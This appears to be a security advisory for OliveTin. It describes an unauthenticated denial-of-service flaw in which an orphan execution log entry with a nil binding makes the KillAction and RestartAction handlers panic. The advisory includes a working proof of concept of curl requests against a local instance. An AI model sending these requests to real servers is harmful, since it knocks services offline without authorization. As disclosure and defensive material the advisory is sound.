OliveTin has crash on NPE by calling APIs with invalid bindings or log references

Summary

### Summary An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via `StartActionByGet` (invalid action ID), then calling `KillAction` or `RestartAction` on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (`Empty reply from server`), enabling denial of service through panic/log/CPU amplification.

### Details The issue is caused by this flow:

1. `StartActionByGet` accepts arbitrary `actionId` and still calls executor: - `service/internal/api/api.go:239`

2. Executor stores a log entry before binding validation: - `service/internal/executor/executor.go:519`

3. If binding is nil, execution stops, but the log entry remains: - `service/internal/executor/executor.go:781`

4. `KillAction` dereferences `execReqLogEntry.Binding.Action` without checking `Binding`: - `service/internal/api/api.go:79`

5. `RestartAction` has the same unsafe dereference: - `service/internal/api/api.go:1285`

Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.

### PoC Environment: - OliveTin default single frontend on `http://localhost:1337` - Reproduced on `main` (commit `235493e`) and tag `3000.11.0`

1) Create orphan tracking ID with invalid action: ```bash T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \ -H 'Content-Type: application/json' \ --data '{"actionId":"does-not-exist"}' \ | sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p') echo "$T"

2. Trigger panic in RestartAction:

curl -v -X POST http://localhost:1337/api/RestartAction \ -H 'Content-Type: application/json' \ --data "{\"executionTrackingId\":\"$T\"}"

3. Trigger panic in KillAction:

curl -v -X POST http://localhost:1337/api/KillAction \ -H 'Content-Type: application/json' \ --data "{\"executionTrackingId\":\"$T\"}"

Observed client output:

- curl: (52) Empty reply from server

Observed server log:

- panic serving ... runtime error: invalid memory address or nil pointer dereference - stack points to: - service/internal/api/api.go:79 (KillAction) - service/internal/api/api.go:1285 (RestartAction)

``` ### Impact

This is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.